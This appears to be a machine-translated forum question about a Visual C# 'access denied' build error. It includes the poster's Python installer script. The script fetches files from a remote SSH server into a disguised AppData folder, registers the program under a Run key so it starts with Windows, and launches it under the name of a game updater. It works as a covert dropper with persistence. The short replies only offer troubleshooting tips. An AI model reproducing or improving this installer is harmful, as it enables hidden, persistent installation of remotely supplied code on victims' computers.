我的問題非常奇怪,我對它爲什麼會這樣做有0個想法。 所以,當我嘗試運行在Visual C#中的第二次我的控制檯應用程序,它說C#無法構建項目
無法複製文件「OBJ \調試\ OriginGameUpdaterService.exe」到」 .. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe「。訪問路徑'.. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe'被拒絕。
那麼我做了什麼,我必須在每次運行它時更改生成設置中的生成輸出路徑。這不是唯一的事情。一旦exe文件夾中,我不能刪除文件夾和應用程序。當我嘗試我有一個Windows消息,說我需要Julien-PC/Julien權利來執行此操作(我是Julien會話的管理員)。
它真的很奇怪,因爲我無法做任何事情...我做了一個Python腳本,安裝在他的DLL文件的exe文件,但它不工作,由於該錯誤...
(這裏是我的installation.py腳本)
#!/usr/bin/python
import subprocess;
import paramiko;
import getpass;
import os.path;
import winreg;
print("Connecting to server.");
user = getpass.getuser()
ssh = paramiko.SSHClient();
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.load_system_host_keys();
ssh.connect("********", 22, "*******", "*********");
# ouverture des transferts de fichiers avec le ssh
sftp = ssh.open_sftp();
print("Connexion successed.");
REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
def set_reg(name, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
return True
except WindowsError:
return False
print("Creating directory.");
path = "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s"
os.makedirs(path, exist_ok=True)
for i in sftp.listdir("/home/dll"):
print("Downloading " + i);
sftp.get("/home/dll/" + i, "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/" + i);
set_reg("OriginGameUpdaterService", "\"C:\\Users\\" + user + "\\AppData\\Local\\Origin\\Windows\\Win32X\\Shell\\s\\OriginGameUpdaterService.exe\"");
if(os.path.exists("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/OriginGameUpdaterService.exe")):
exit(0)
print("Creating startup *.cmd file.");
file = open("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd","w")
file.write("cd C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s\n")
file.write("start OriginGameUpdaterService.exe")
file.close()
print("Starting exe");
subprocess.Popen("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);
print("Installation complete.")
如果有人只能幫助我,我知道這是很難理解我的問題,這是我很難解釋它。 其他人一個論壇,我看到有人有類似的問題,他改變了他的AssemblyVersion 2.0。*所以這就是我所做的,它仍然是相同的問題
您確定啓動後進程是否正確終止? – jAC
你可以嘗試右鍵點擊visual studio圖標並以管理員身份運行嗎? –